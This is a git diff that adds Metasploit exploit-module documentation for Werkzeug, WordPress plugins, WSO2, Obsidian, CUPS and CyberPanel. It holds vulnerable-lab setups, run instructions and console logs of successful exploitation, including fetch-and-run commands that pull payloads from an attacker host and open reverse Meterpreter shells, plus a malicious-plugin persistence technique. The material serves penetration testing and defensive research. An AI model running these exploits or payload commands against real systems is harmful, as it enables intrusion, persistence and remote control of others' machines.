8d496199-a25e-4340-9c8d-2dc2041c75f8 + MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 + msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py + FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py + msf6 exploit(multi/http/werkzeug_debug_rce) > run + + [*] Started reverse TCP handler on 192.168.23.117:4444 + [*] Running automatic check ("set AutoCheck false" to disable) + [*] Debugger allows code execution + [!] The service is running, but could not be validated. Debugger requires authentication + [*] Generated authentication PIN: 105-774-671 + [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 + [*] Sending stage (24772 bytes) to 192.168.23.5 + [*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100 + + meterpreter > getpid + Current pid: 38 + meterpreter > getuid + Server username: root + meterpreter > sysinfo + Computer : 3eb759665d5f + OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22 + Architecture : aarch64 + System Language : C + Meterpreter : python/linux + meterpreter > shell + Process 41 created. + Channel 1 created. + + ls + app.py + bin + boot + dev + etc + home + lib + media + mnt + opt + proc + report.txt + root + run + sbin + srv + sys + tmp + usr + var + exit + +## Credits + +- 2015 - h00die (mike[at]shorebreaksecurity.com) + - Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication. +- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec) + - Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms: + - Generated Cookie (bypasses PIN-lock) + - Known-Cookie (bypasses PIN-lock) + - Known-PIN diff --git a/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md b/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md new file mode 100644 index 000000000000..b4d9ad3ad137 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md @@ -0,0 +1,169 @@ +## Vulnerable Application + +The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack. +This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance. + +### Pre-requisites: +- **Docker** and **Docker Compose** installed on your system. + + +### Setup Instructions + +1. **Download the Docker Compose file**: + Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database. + +```yaml +version: '3.1' + +services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +2. **Add custom PHP configuration**: + - Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +3. **Start the Docker environment**: +- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services: + +```bash +docker-compose up -d +``` + +4. **Install and activate the plugin**: +- Download the vulnerable version of **Really Simple SSL**: +```bash +wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip +``` +- Extract the plugin: +```bash +unzip really-simple-ssl.9.1.1.zip +``` +- Copy the plugin files to the WordPress container: +```bash +docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/ +``` +- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel. + +5. **Enable Two-Factor Authentication**: +- Go to **Settings > Really Simple Security**. +- Activate **Two-Factor Authentication**. + + +## Verification Steps + +1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin. +2. **Start Metasploit** using the command `msfconsole`. +3. Use the correct module for the vulnerability: + +```bash +use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce +``` + +4. Set the target's IP and URI: + +```bash +set RHOSTS +set TARGETURI / +``` + +5. **Run the module**: + +```bash +run +``` + +6. **Verify the Authentication Bypass**: +- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator. + +## Options + +### USERID + +The user ID to target for 2FA bypass (default: 1) + +## Scenarios + +### Example 1: PHP Meterpreter (ARCH_PHP) + +```bash +msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.5.3 +[+] Detected vulnerable plugin slug: really-simple-ssl +[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable. +[*] 2FA bypass successful. Uploading plugin... +[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php... +[*] Sending stage (40004 bytes) to 172.18.0.3 +[+] Deleted ajax_pottw.php +[+] Deleted wp_1ftvf.php +[+] Deleted ../wp_1ftvf +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100 + +meterpreter > sysinfo +Computer : a8dddfbbb9e2 +OS : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > +``` + +### Example 2: Linux Command Shell (ARCH_CMD) + +```bash +msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.5.3 +[+] Detected vulnerable plugin slug: really-simple-ssl +[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable. +[*] 2FA bypass successful. Uploading plugin... +[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php... +[*] Sending stage (3045380 bytes) to 172.18.0.3 +[+] Deleted ajax_gjreh.php +[+] Deleted wp_3wbfa.php +[+] Deleted ../wp_3wbfa +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100 + +meterpreter > sysinfo +Computer : 172.18.0.3 +OS : Debian 11.8 (Linux 5.15.0-125-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md b/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md new file mode 100644 index 000000000000..5ac807aa079f --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md @@ -0,0 +1,153 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in the WordPress WP Time Capsule plugin, versions <= 1.22.21. +The vulnerability arises from an unauthenticated arbitrary file upload flaw due to improper validation logic in the plugin. + +To replicate a vulnerable environment for testing: + +1. Install WordPress using the provided Docker Compose configuration. +2. Download and install the [WP Time Capsule plugin v1.22.21](https://downloads.wordpress.org/plugin/wp-time-capsule.1.22.21.zip). +3. Verify that the plugin is activated and accessible on the local network. +4. Register for a WP Time Capsule account and connect the plugin to an external storage system (e.g., Google Drive, Dropbox). +5. Access `wp-admin/admin.php?page=wp-time-capsule-settings#wp-time-capsule-tab-advanced` to enable the **file upload functionality** +by clicking **"Click here to show upload options"**. +This action triggers the `prepare_file_upload_index_file_wptc` function, which creates the required `index.php` file +in the `/wp-tcapsule-bridge/upload/php/` directory, making the issue exploitable. + +## Docker Compose Configuration + +```yaml +version: '3.1' + +services: + wordpress: + image: wordpress:6.3.2 + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: root + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 8G + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: root + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +Create a `custom.ini` file with the following content: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +## Verification Steps + +1. Set up a WordPress instance with the WP Time Capsule plugin (version 1.22.21) using the provided `docker-compose.yml`. +2. Launch `msfconsole` in your Metasploit framework. +3. Use the module: `use exploit/multi/http/wp_time_capsule_file_upload_rce`. +4. Set `RHOSTS` to the IP address or hostname of the target. +5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. +6. Execute the exploit using the `run` or `exploit` command. +7. If the target is vulnerable, the module will execute the specified payload and return a session. + +## Options + +No additional options are required beyond the default ones provided in Metasploit. + +## Scenarios + +### Successful Exploitation Against WordPress with WP Time Capsule 1.22.21 + +**Setup**: + +- Local WordPress instance with WP Time Capsule version 1.22.21. +- Metasploit Framework. + +**Steps**: + +1. Start `msfconsole`. +2. Load the module: +```bash +use exploit/multi/http/wp_time_capsule_file_upload_rce +``` +3. Set `RHOSTS` to the target's IP (e.g., `172.18.0.3`). +4. Configure other necessary options (e.g., `TARGETURI`). +5. Launch the exploit: +```bash +exploit +``` + +**Expected Results**: + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt +[*] Found version 1.22.21 in the plugin +[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable. +[*] Uploading payload: rJ.php with MIME type: message/http... +[+] Payload uploaded successfully. Parsing response... +[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/rJ.php +[*] Sending stage (40004 bytes) to 172.18.0.3 +[+] Deleted rJ.php +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:42434) at 2024-12-11 00:48:18 +0100 + +meterpreter > sysinfo +Computer : 0bd3f3b7102e +OS : Linux 0bd3f3b7102e 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 + +[*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi & +[*] Fetch handler listening on 192.168.1.36:8080 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt +[*] Found version 1.22.21 in the plugin +[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable. +[*] Uploading payload: Ps.php with MIME type: application/zip... +[+] Payload uploaded successfully. Parsing response... +[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/Ps.php +[*] Client 172.18.0.3 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.18.0.3 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.18.0.3 +[+] Deleted Ps.php +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50396) at 2024-12-11 01:06:52 +0100 + +meterpreter > sysinfo +Computer : 172.18.0.3 +OS : Debian 11.8 (Linux 5.15.0-126-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md new file mode 100644 index 000000000000..19f7136e84a7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions +(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled +server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + +```yaml +services: + api-manager: + image: wso2/wso2am:4.0.0-alpine + container_name: swo2_api_manager + ports: + - "9443:9443" + +``` + +```bash +docker-compose up +``` +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use multi/http/wso2_api_manager_file_upload_rce` +1. Do: `set rhosts [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell. + +## Scenarios + +### WSO2 API Manager 4.0.0 +``` +msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit + +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking target... +[+] Authentication successful +[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable. +[+] Authentication successful +[*] Listing APIs... +[+] Document created successfully +[*] Uploading payload... +[+] Payload uploaded successfully +[*] Executing payload... +[+] Payload executed successfully +[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100 + +id +uid=802(wso2carbon) gid=802(wso2) groups=802(wso2) +pwd +/home/wso2carbon/wso2am-4.0.0 +exit +[*] 127.0.0.1 - Command shell session 2 closed. +``` + +## Options + +### HttpUsername (required) + +The username to authenticate with. + +### HttpPassword (required) + +The password of the user to authenticate with. + +### RHOSTS (required) + +The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + +### RPORT (required) + +The target port (TCP) diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md new file mode 100644 index 000000000000..eb59802c5bce --- /dev/null +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +This module searches for Obsidian vaults for a user, and uploads a malicious +community plugin to the vault. The vaults must be opened with community +plugins enabled (NOT restricted mode), but the plugin will be enabled +automatically. + +Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. + +### Debugging + +To open the console (similar to chrome), use `ctr+shift+i`. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get a user shell on the target +4. Do: `use multi/local/obsidian_plugin_persistence` +5. Do: Select a shell which will work on your target OS +6. Do: `run` +7. You should get a shell when the target user opens the vault without restricted mode. + +## Options + +### NAME + +Name of the plugin. Defaults to being randomly generated. + +### USER + +The user to target. Defaults the user the shell was obtained under. + +### CONFIG + +Config file location on target. Defaults to empty which will search the default locations. + +## Scenarios + +### Version and OS + +Get a user shell. + +``` +msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1 +session => 1 +msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true +verbose => true +msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit + +[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc & +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using plugin name: xQem +[*] Target User: ubuntu +[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json +[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test +[*] Uploading plugin to vault /home/ubuntu/Documents/test +[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js +[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json +[*] Found 1 enabled community plugins (sX2sv4) +[*] adding xQem to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 2.2.2.2 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500 + +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 22.04 (Linux 5.15.0-60-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Obsidian 1.7.7 on Windows 10 + +``` + +msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit +[*] Reloading module... + +[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using plugin name: pPq0K +[*] Target User: h00die +[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json +[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault +[*] Uploading plugin to vault C:\Users\h00die\Documents\vault +[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js +[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json +[*] Found 0 enabled community plugins () +[*] adding pPq0K to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA +[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0) +[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA +[*] Sending payload to 3.3.3.3 (CertUtil URL Agent) +[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500 + +meterpreter > getuid +Server username: DESKTOP-3ASD0R4\h00die +meterpreter > sysinfo +Computer : DESKTOP-3ASD0R4 +OS : Windows 10 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md b/documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md new file mode 100644 index 000000000000..5d95e5b16b3d --- /dev/null +++ b/documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md @@ -0,0 +1,119 @@ +## Vulnerable Application + +This module exploits vulnerabilities in OpenPrinting CUPS that allow an attacker on the LAN to advertise a malicious printer that triggers remote code execution when a victim sends a print job to it. For a technical analysis of the vulnerability, read the [original researcher's publication](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/). The vulnerabilities affect the following components and versions: + +- cups-browsed <= 2.0.1 +- libcupsfilters <= 2.1b1 +- libppd <= 2.1b1 +- cups-filters <= 2.0.1 + +Successful exploitation requires user interaction (victim must attempt to print to the malicious printer), but no CUPS services need to be reachable via accessible ports. Code execution occurs in the context of the 'lp' user. NOTE: Many mNDS multicast advertisements will be sprayed by this module to increase the odds of automatically populating the victim's printer list. + +## Testing + +The module has been tested against Ubuntu 22.04 with an unpatched default CUPS installation. The exploit should work against most Linux distributions that use a vulnerable version of CUPS for printing. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/multi/misc/cups_ipp_remote_code_execution` +3. `set SRVHOST ` (cannot be 0.0.0.0) +4. `set LHOST ` +5. `set PrinterName ` (defaults to "PrintToPDF") +6. `exploit` +7. From a victim system on the LAN, open a printer dialog. For example, browse to any web page in Firefox and press Ctrl+P. +8. Select the malicious printer from the printer selection dropdown. When the victim has fetched the FoomaticRIP payload from the malicious IPP server, the "Print" button should become clickable. +9. Click "Print". A new meterpreter session should open. + +## Options + +**PrinterName** + +The name of the malicious printer to advertise on the network. Default: PrintToPDF + +**SRVHOST** + +The local host address to listen on. This must be set to a specific interface address, not 0.0.0.0, since it's used in mDNS advertisements + +**SRVPORT** + +The local port for the IPP service. Default: 7575 + +## Scenarios + +### Linux Command + +Note: The listener should be left running until a victim interacts with the fake printer. By default, the 'WfsDelay' stager time value is 10800 seconds, or three hours + +``` +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> show options + +Module options (exploit/multi/misc/cups_ipp_remote_code_execution): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PrinterName PrintToPDF yes The printer name + SRVHOST yes The local host to listen on (cannot be 0.0.0.0) + SRVPORT 7575 yes The local port for the IPP service + SSL true no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME JXrkCMgtG no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set SRVHOST 192.168.5.2 +SRVHOST => 192.168.5.2 +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set LHOST 192.168.5.2 +SRVHOST => 192.168.5.2 +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set SRVPORT 9596 +SRVPORT => 9596 +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set PrinterName Canon +PrinterName => Canon +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> run +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 192.168.5.2:4444 +[msf](Jobs:1 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> +[*] IPP service started on 192.168.5.2:9596 +[*] Services started. Printer 'Canon' is being advertised +[*] The exploit will continue listening for victim callbacks for the next 10800 seconds +[*] Meterpreter session 1 opened (192.168.5.2:4444 -> 192.168.5.251:59248) at 2024-11-11 12:55:55 -0600 + +[msf](Jobs:1 Agents:1) exploit(multi/misc/cups_ipp_remote_code_execution) >> sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/) > sysinfo +Computer : 192.168.5.251 +OS : Ubuntu 22.04 (Linux 6.5.0-18-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/) > getuid +Server username: lp +(Meterpreter 1)(/) > +``` diff --git a/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md b/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md new file mode 100644 index 000000000000..a0e21e056ced --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md @@ -0,0 +1,145 @@ +## Vulnerable Application + +CyberPanel is an open-source web hosting control panel based on OpenLiteSpeed. +This module exploits two pre-authenticated remote command execution (RCE) vulnerabilities found in certain versions of CyberPanel. + +- **CVE-2024-51378**: The `getresetstatus` endpoint in `dns/views.py` and +`ftp/views.py` in CyberPanel before commit `1c0c6cb` allows remote attackers to +bypass authentication and execute arbitrary commands via `/dns/getresetstatus` or +`/ftp/getresetstatus` by bypassing `secMiddleware`(which applies only to POST +requests) and using shell metacharacters in the `statusfile` property. +This vulnerability has been exploited in the wild as of October 2024 by PSAUX, affecting versions through 2.3.6 and the unpatched 2.3.7. + +- **CVE-2024-51567**: The `upgrademysqlstatus` endpoint in `databases/views.py` in +CyberPanel before commit `5b08cd6` allows remote attackers to bypass authentication +and execute arbitrary commands via `/dataBases/upgrademysqlstatus`, also by +bypassing `secMiddleware` and using shell metacharacters in the `statusfile` property. +This vulnerability has similarly been exploited in the wild in October 2024 +by PSAUX, impacting versions through 2.3.6 and the unpatched 2.3.7. + +- **CVE-2024-51568**: CyberPanel before 2.3.5 allows command +injection via completePath in the ProcessUtilities.outputExecutioner() sink. +This vulnerability includes unauthenticated remote code execution via shell +metacharacters in the /filemanager/upload (aka File Manager upload) endpoint, +exploiting shell metacharacters for arbitrary command execution. + +These vulnerabilities allow attackers to execute commands on the server without needing authentication. + +### Installation Instructions + +To set up a vulnerable instance of CyberPanel for testing, follow these +instructions on an Ubuntu 18.04 server (or later). +The example below demonstrates installation on Ubuntu 18.04, though newer versions of Ubuntu should work as well. + +1. First, install necessary dependencies and disable IPv6 to avoid potential network issues: + +```bash +sudo su - +apt update && apt install -y curl wget +sysctl -w net.ipv6.conf.all.disable_ipv6=1 +sysctl -w net.ipv6.conf.default.disable_ipv6=1 +``` + +2. Then, download and run the CyberPanel installation script: + +```bash +sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh) +``` + +3. During installation, choose the following options: + - Install CyberPanel: Select option `1` + - Install CyberPanel with OpenLiteSpeed: Select option `1` + - Skip full installation (choose `n`) + - Skip Postfix, PowerDNS, and PureFTPd installations + - Skip Remote MySQL setup + - Install CyberPanel version `2.3.4` when prompted + - Decline Memcached and Redis installations + - Decline WatchDog setup for Web service and Database service + +## Verification Steps + +1. Install CyberPanel as outlined above. +2. Start `msfconsole`. +3. Use the module path: `use exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve`. +4. Set the `RHOSTS` option to the target server’s IP. +5. Run the exploit with the desired CVE (choose either `cve-2024-51567`, `cve-2024-51568` or `cve-2024-51378`). +6. A successful exploitation should provide a shell on the target. + +## Options + +No option + +## Scenarios + +### Example: CVE-2024-51567 on CyberPanel 2.3.5 (Ubuntu 18.04) + +To exploit `CVE-2024-51567` and achieve remote command execution: + +```bash +msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51567 +action => CVE-2024-51567 +msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Target is running CyberPanel and is vulnerable. +[*] Sending stage (3045380 bytes) to 192.168.1.16 +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.16:35194) at 2024-11-21 22:26:12 +0100 + +meterpreter > sysinfo +Computer : 192.168.1.16 +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Example: CVE-2024-51378 on CyberPanel 2.3.5 (Ubuntu 18.04) + +To exploit `CVE-2024-51378` and achieve remote command execution: + +```bash +msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51378 +action => CVE-2024-51378 +msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Target is running CyberPanel and is vulnerable. +[*] Sending stage (3045380 bytes) to 192.168.1.16 +[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.16:39820) at 2024-11-21 22:27:06 +0100 + +meterpreter > sysinfo +Computer : 192.168.1.16 +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Example: CVE-2024-51568 on CyberPanel 2.3.4 (Ubuntu 18.04) + +```bash +msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51568 +action => CVE-2024-51568 +msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] CSRF Token retrieved: CtCqolh8EQHkik3J8sjbUxPemD9PN8j2cZ7QBIxtUN3zmHQ1sbSnXOCBVWr00kI7 +[*] CSRF Token retrieved: ExmQR7HciOpdsPRrh43NNjGNYaLbRb6pKnap4Z5onPfVGjPqCNFyehTAqIpBrSuB +[+] The target is vulnerable. Target is running CyberPanel and is vulnerable. +[*] CSRF Token retrieved: 